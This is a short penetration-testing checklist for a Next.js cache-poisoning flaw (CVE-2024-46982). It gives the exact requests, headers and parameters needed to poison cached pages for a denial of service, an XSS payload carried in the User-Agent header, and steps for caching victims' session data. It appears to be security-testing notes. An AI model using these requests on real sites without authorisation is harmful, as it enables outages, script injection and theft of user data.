{% embed url="https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir" %}
- Identify Next.js: Check for
/api/,_next/paths, orX-Powered-By: Next.jsheader. - Verify Version: Review source (e.g.,
<script id="__NEXT_DATA__">) forbuildIDor version clues (13.5.1–14.2.9). - Detect SSR: Target pages using
getServerSideProps(dynamic data, e.g.,/dashboard). Avoid dynamic routes (e.g.,/blog/[slug]). - Check Caching: Send repeated requests; look for
Cache-Controlor CDN headers (e.g.,Server: cloudflare).
- Setup: Use Burp Repeater/Intruder; identify SSR page (e.g.,
/poc). - Test 1:
__nextDataReqParameter- Send:
GET /poc?__nextDataReq=1 - Check: JSON
pagePropsresponse (e.g.,{"userAgent":"..."}). - Re-request
/pocwithout param; if JSON served, cache poisoned (DoS).
- Send:
- Test 2:
x-now-route-matchesHeader- Send:
GET /poc?__nextDataReq=1withx-now-route-matches: 1. - Verify:
Cache-Control: s-maxage=1, stale-while-revalidate; re-request/pocfor JSON.
- Send:
- Test 3: Data Route
- Extract
buildIDfrom<script id="__NEXT_DATA__">. - Send:
GET /_next/data/{buildID}/poc.jsonwithx-now-route-matches: 1. - Confirm: JSON cached;
/pocserves JSON.
- Extract
- Safeguard: Test with
Accept-Encoding: noneif header is in cache-key to avoid impacting users.
- Identify Reflection: Check if SSR page reflects request data (e.g., user-agent, cookies, CSRF token).
- Craft Payload:
- Send:
GET /poc?__nextDataReq=1withUser-Agent: <img src=x onerror=alert('test')>andx-now-route-matches: 1. - Verify: Cached
/pocresponse istext/htmlwith payload. - Access
/pocin browser; confirm alert triggers.
- Send:
- Common Reflections: User-agent, locale cookies, session IDs, CSRF headers, theme preferences.
- Target Sensitive Data: Check if SSR reflects user-specific data (e.g., session cookies).
- Send Payload: Use above methods to cache victim’s response.
- Verify: Access
/pocto see if sensitive data is served. - References:
- Advisory: https://github.com/advisories/GHSA-gp8f-8m3g-qvj9
- PortSwigger Cache Poisoning: https://portswigger.net/web-security/web-cache-poisoning
{% embed url="https://github.com/h0tak88r/nuclei_templates/blob/ffabf2473eb510b71c07091ec03a4fdf0e07f557/cves/CVE-2024-46982.yaml" %}